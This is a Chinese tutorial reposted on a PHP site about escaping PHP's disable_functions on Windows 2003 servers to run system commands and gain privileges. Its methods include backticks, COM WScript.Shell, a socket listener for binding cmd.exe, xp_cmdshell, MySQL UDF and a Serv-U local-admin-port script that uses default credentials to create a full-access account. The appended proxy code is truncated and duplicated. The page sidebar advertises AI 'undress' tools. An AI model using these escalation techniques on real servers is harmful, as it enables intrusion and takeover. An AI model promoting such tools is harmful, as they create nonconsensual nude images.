首頁 php教程 php手册 突破Windows 2003 PHP服务器的新思路

突破Windows 2003 PHP服务器的新思路

Jun 21, 2016 am 09:00 AM
headers java php socket

  从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。
 
  1、disable_functions的突破

  在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

  $output = `ls -al`;echo "

$output
登入後複製
";?>

  据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

  2、dl()函数的应用

  当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:

  // 加载此扩展

  dl("php_w32api.dll");

  // 注册 GetTickCount 函数,来自 kernel32.dll

  w32api_register_function("kernel32.dll",

  "GetTickCount",

  "long");

  // 注册 MessageBoxA 函数,来自 User32.dll

  w32api_register_function("User32.dll",

  "MessageBoxA",

  "long");

  // 取得开机时间信息

  $ticks = GetTickCount();

  // 转换为易于理解的文本

  $secs = floor($ticks / 1000);

  $mins = floor($secs / 60);

  $hours = floor($mins / 60);

  $str = sprintf("You have been using your computer for:".

  "\r\n %d Milliseconds, or \r\n %d Seconds".

  "or \r\n %d mins or\r\n %d hours %d mins.",

  $ticks,

  $secs,

  $mins,

  $hours,

  $mins - ($hours*60));

  // 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本

  MessageBoxA(NULL,

  $str,

  "Uptime Information",

  MB_OK);

  ?>

  可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

  3、COM 和 .Net(Windows)函数的应用

  COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。

  PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在PHP中调用“WScript.Shell”执行系统命令:

  $cmd=” E:/cert/admin/psexec.exe”;

  if($com=new COM("WScript.Shell")) echo "yes";

  if(!$cmd1=$com->exec($cmd))

  {

  echo "can not exec()";

  }

  if(!$cmd2=$cmd1->stdout())

  {

  echo "can not stdout()";

  }

  if(!$cmd3=$cmd2->readall())

  {

  echo "can not readall()";

  }

  echo $cmd3;

  ?>

  图1是我写的一个执行psexec.exe的一个例子。

  这段代码与ASP的的意思是一模一样的,当然,你也可以像ASP那样调用“ADODB.Connection”,利用这个组件结合jet2溢出漏洞,可能能够在PHP Saft mode=ON下拿到一个Shell。

  //create the database connection

  $conn = new COM("ADODB.Connection");

  $dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");

  $conn->Open($dsn);

  //pull the data through SQL string

  $rs = $conn->Execute("select clients from web");

  …..

  ?>

  .Net 函数只能运行在 PHP 5上,当然,它需要 “.Net runtime”的支持,而且这的PHP的一个实验性模块,功能还未齐全,所以在这就不讨论了。

  4、Java()函数的应用

  该方法适用于safe mode=on。要使用JAVA模块服务器必须事先安装Java虚拟机,而且在PHP安装配置的时候打开了with-java的选项,代码如下:

  [JAVA]

  ;这是到php_java.jar的路径

  ;java.class.path = .\php_java.jar

  ;JDK的路径

  ;Java.home = f:\jdk1.3.0

  ;到虚拟机的路径

  ;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll

  同COM一样,使用Java创建类(不仅仅是JavaBeans)只需把JAVA的类名作为参数传递到构造函数。以下是手册里边的一个例子:

  // This example is only intended to be run as a CGI.

  $frame = new Java('java.awt.Frame', 'PHP');

  $button = new Java('java.awt.Button', 'Hello Java World!');

  $frame->add('North', $button);

  $frame->validate();

  $frame->pack();

  $frame->visible = True;

  $thread = new Java('java.lang.Thread');

  $thread->sleep(10000);

  $frame->dispose();

  ?>

  可惜能真正支持JAVA的PHP服务器并不多见,所以在这也不多讨论了。

  5、socket()函数的应用

  socket 是PHP中功能极为强大的一个模块,如果你使用高级的、抽象的接口(由fsockopen()和psockopen函数打开的socket),是不需要打开“php_sockets.dll”的。但是如果要使用完整的socket函数块,就必须在php.ini这样设置:

  ;Windows Extensions

  ;Note that MySQL and ODBC support is now built in, so no dll is needed for it.

  ……..

  ;去掉以下一句最前边的分号

  ;extension=php_sockets.dll

  使用PHP的socket函数块可以实现端口转发/重定向、数据包嗅探、本地溢出等功能, nc能做的, 它大部分都能做到。而且, 还可以用它构造TCP/UDP服务器, 同时, 我觉得它也是突破服务器安全策略的一个最好的办法。以下便是一个在服务器上打开端口构造TCP服务器的例子,你可以用它来捆绑上服务器的cmd.exe:

  //在服务器上构造TCP服务

  //该例子需要php_sockets.dll的支持

  //执行后便可使用” telnet 127.0.0.1 1020”连接

  error_reporting(E_ALL);

  /* Allow the script to hang around waiting for connections. */

  set_time_limit(0);

  /* Turn on implicit output flushing so we see what we're getting

  * as it comes in. */

  ob_implicit_flush();

  //在服务器上绑定IP和端口

  $address = '127.0.0.1';

  $port = 1020;

  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP))

  echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";

  }

  if (($ret = socket_bind($sock, $address, $port))

  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";

  }

  if (($ret = socket_listen($sock, 5))

  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";

  }

  do {

  if (($msgsock = socket_accept($sock))

  echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";

  break;

  }

  /* Send instructions. */

  $msg = "\nWelcome to the PHP Test Server. \n" .

  "To quit, type 'quit'. To shut down the server type 'shutdown'.\n";

  socket_write($msgsock, $msg, strlen($msg));

  do {

  if (false === socket_recv($msgsock, $buf , 1024, 0)) {

  echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";

  break 2;

  }

  if (!$buf = trim($buf)) {

  continue;

  }

  if ($buf == 'quit') {

  break;

  }

  if ($buf == 'shutdown') {

  socket_close($msgsock);

  break 2;

  }

  $talkback = "PHP: You said '$buf'.\n";

  socket_write($msgsock, $talkback, strlen($talkback));

  echo "$buf\n";

  //以下处理接受到的buf

  /*eg:例如

  $buf=”cmd.exe /c netstat –an”;

  $pp = popen('$buf ', 'r');

  While($read = fgets($pp, 2096))

  echo $read;

  pclose($pp);

  */

  } while (true);

  socket_close($msgsock);

  } while (true);

  socket_close($sock);

  ?>

  事实上,很多主机都是没有加载php_sockets.dll的,庆幸的是,不需要socket模块支持的“fsockopen”函数已经足够我们使用了。因为只要有“fsockopen”,我们便可以自由地读写本机中未对外部开放的端口。使用fsockopen读写serv-u 的本地管理端口43958 (注: 该端口无法在外部连结) 进行提权便是一个很典型的例子:

  $adminuser=” LocalAdministrator”;

  $adminpass=” #l@$ak#.lk;0@P”;

  $adminport=” 43958”;

  $fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);

  if (!$fp) {

  echo "$errstr ($errno)

  \n";

  } else {

  //可以写入$shellcode

  // fputs ($fp, $shellcode);

  fputs ($fp, "USER ".$adminuser."\r\n");

  sleep (1);

  fputs ($fp, "PASS ".$adminpass."\r\n");

  sleep (1);

  fputs ($fp, "SITE MAINTENANCE\r\n");

  sleep (1);

  fputs ($fp, "-SETUSERSETUP\r\n");

  fputs ($fp, "-IP=".$addr."\r\n");

  fputs ($fp, "-PortNo=".$ftpport."\r\n");

  fputs ($fp, "-User=".$user."\r\n");

  fputs ($fp, "-Password=".$password."\r\n");

  fputs ($fp, "-HomeDir=".$homedir."\r\n");

  fputs ($fp, "-LoginMesFile=\r\n");

  fputs ($fp, "-Disable=0\r\n");

  fputs ($fp, "-RelPaths=0\r\n");

  fputs ($fp, "-NeedSecure=0\r\n");

  fputs ($fp, "-HideHidden=0\r\n");

  fputs ($fp, "-AlwaysAllowLogin=0\r\n");

  fputs ($fp, "-ChangePassword=1\r\n");

  fputs ($fp, "-QuotaEnable=0\r\n");

  fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");

  fputs ($fp, "-SpeedLimitUp=-1\r\n");

  fputs ($fp, "-SpeedLimitDown=-1\r\n");

  fputs ($fp, "-MaxNrUsers=-1\r\n");

  fputs ($fp, "-IdleTimeOut=600\r\n");

  fputs ($fp, "-SessionTimeOut=-1\r\n");

  fputs ($fp, "-Expire=0\r\n");

  fputs ($fp, "-RatioUp=1\r\n");

  fputs ($fp, "-RatioDown=1\r\n");

  fputs ($fp, "-RatiosCredit=0\r\n");

  fputs ($fp, "-QuotaCurrent=0\r\n");

  fputs ($fp, "-QuotaMaximum=0\r\n");

  fputs ($fp, "-Maintenance=System\r\n");

  fputs ($fp, "-PasswordType=Regular\r\n");

  fputs ($fp, "-Ratios=None\r\n");

  fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");

  fputs ($fp, "QUIT\r\n");

  sleep (1);

  while (!feof($fp)) {

  echo fgets ($fp,128);

  }

  }

  ?>

  还可以利用fsockopen编写HTTP代理,从而访问外网或本机中无法外部访问的网站。我手上有一个完整的HTTPProxy(图4),代码较长。有兴趣的读者可以看看。

  6、MYSQL/MSSQL接口

  不同于Linux的是,windows下的mysql/MSSQL一般是以系统管理员身份运行的,因此,只要能拿到本机SQL数据库中的root/sa密码,你就可以直接用PHP连接数据库来执行系统命令。

  在Mysql中执行系统命令要利用用户自定义函数“MySQL UDF Dynamic Library”这个漏洞。在MSSQL中只要连接上数据库,就能直接调用“master..xp_cmdshell“扩展执行命令,权限当然是system权限。

  总结一下:由于系统、IIS、PHP的版本不一样,以上提到的几个突破方法可能会有所变化,PHP还有许多扩展功能是可以利用的,走出system()那几个系统命令执行函数,你就有可能突破系统安全策略的限制!

  后面附上proxy.php的代码

  error_reporting(E_ALL);

  /*

  // This program is free software; you can redistribute it and/or

  // modify it under the terms of the GNU General Public License

  // as published by the Free Software Foundation; either version 2

  // of the License, or (at your option) any later version.

  //

  // This program is distributed in the hope that it will be useful,

  // but WITHOUT ANY WARRANTY; without even the implied warranty of

  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

  // GNU General Public License for more details.

  //

  // You should have received a copy of the GNU General Public License

  // along with this program; if not, write to the Free Software

  // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

  //-------------------------------------------------------------------

  // Class: PHProxy

  // Author: ultimategamer00 (Abdullah A.)

  // Last Modified: 6:28 PM 6/22/2004

  */

  function __stripslashes($str)

  {

  return get_magic_quotes_gpc() ? stripslashes($str) : $str;

  }

  if (!function_exists('str_rot13'))

  {

  function str_rot13($str)

  {

  static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',

  'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');

  return strtr($str, $alpha[0], $alpha[1]);

  }

  }

  class PHProxy

  {

  var $allowed_hosts = array();

  var $version;

  var $script_url;

  var $url;

  var $url_segments;

  var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);

  var $socket;

  var $content_type;

  var $request_headers;

  var $post_body;

  var $response_headers;

  var $response_body;

  function PHProxy($flags = 'previous')

  {

  $this->version = '0.2';

  $this->script_url = 'http'

  . (isset(

  function set_request_headers()

  {

  $headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";

  $headers .= "Host: :\r\n";

  $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";

  $headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";

  $headers .= "Connection: close\r\n";

  if ($this->flags['show_referer'] == 1)

  {

  $headers .= "Referer: \r\n";

  }

  $cookies = $this->get_cookies();

  $headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

  if (

  function set_request_headers()

  {

  $headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";

  $headers .= "Host: :\r\n";

  $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";

  $headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";

  $headers .= "Connection: close\r\n";

  if ($this->flags['show_referer'] == 1)

  {

  $headers .= "Referer: \r\n";

  }

  $cookies = $this->get_cookies();

  $headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

  if (



本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1669
14
CakePHP 教程
1428
52
Laravel 教程
1329
25
PHP教程
1273
29
C# 教程
1256
24
如果session_start()被多次調用會發生什麼? 如果session_start()被多次調用會發生什麼? Apr 25, 2025 am 12:06 AM

多次調用session_start()會導致警告信息和可能的數據覆蓋。 1)PHP會發出警告,提示session已啟動。 2)可能導致session數據意外覆蓋。 3)使用session_status()檢查session狀態,避免重複調用。

作曲家:通過AI的幫助開發PHP 作曲家:通過AI的幫助開發PHP Apr 29, 2025 am 12:27 AM

AI可以幫助優化Composer的使用,具體方法包括:1.依賴管理優化:AI分析依賴關係,建議最佳版本組合,減少衝突。 2.自動化代碼生成:AI生成符合最佳實踐的composer.json文件。 3.代碼質量提升:AI檢測潛在問題,提供優化建議,提高代碼質量。這些方法通過機器學習和自然語言處理技術實現,幫助開發者提高效率和代碼質量。

session_start()函數的意義是什麼? session_start()函數的意義是什麼? May 03, 2025 am 12:18 AM

session_start()iscucialinphpformanagingusersessions.1)ItInitiateSanewsessionifnoneexists,2)resumesanexistingsessions,and3)setsasesessionCookieforContinuityActinuityAccontinuityAcconActInityAcconActInityAcconAccRequests,EnablingApplicationsApplicationsLikeUseAppericationLikeUseAthenticationalticationaltication and PersersonalizedContentent。

在Java的背景下,'平台獨立性”意味著什麼? 在Java的背景下,'平台獨立性”意味著什麼? Apr 23, 2025 am 12:05 AM

Java的平台獨立性是指編寫的代碼可以在任何安裝了JVM的平台上運行,無需修改。 1)Java源代碼編譯成字節碼,2)字節碼由JVM解釋執行,3)JVM提供內存管理和垃圾回收功能,確保程序在不同操作系統上運行。

H5:HTML5的關鍵改進 H5:HTML5的關鍵改進 Apr 28, 2025 am 12:26 AM

HTML5帶來了五個關鍵改進:1.語義化標籤提升了代碼清晰度和SEO效果;2.多媒體支持簡化了視頻和音頻嵌入;3.表單增強簡化了驗證;4.離線與本地存儲提高了用戶體驗;5.畫布與圖形功能增強了網頁的可視化效果。

如何使用MySQL的函數進行數據處理和計算 如何使用MySQL的函數進行數據處理和計算 Apr 29, 2025 pm 04:21 PM

MySQL函數可用於數據處理和計算。 1.基本用法包括字符串處理、日期計算和數學運算。 2.高級用法涉及結合多個函數實現複雜操作。 3.性能優化需避免在WHERE子句中使用函數,並使用GROUPBY和臨時表。

作曲家:PHP開發人員的軟件包經理 作曲家:PHP開發人員的軟件包經理 May 02, 2025 am 12:23 AM

Composer是PHP的依賴管理工具,通過composer.json文件管理項目依賴。 1)解析composer.json獲取依賴信息;2)解析依賴關係形成依賴樹;3)從Packagist下載並安裝依賴到vendor目錄;4)生成composer.lock文件鎖定依賴版本,確保團隊一致性和項目可維護性。

討論可能需要在Java中編寫平台特定代碼的情況。 討論可能需要在Java中編寫平台特定代碼的情況。 Apr 25, 2025 am 12:22 AM

在Java中編寫平台特定代碼的原因包括訪問特定操作系統功能、與特定硬件交互和優化性能。 1)使用JNA或JNI訪問Windows註冊表;2)通過JNI與Linux特定硬件驅動程序交互;3)通過JNI使用Metal優化macOS上的遊戲性能。儘管如此,編寫平台特定代碼會影響代碼的可移植性、增加複雜性、可能帶來性能開銷和安全風險。

See all articles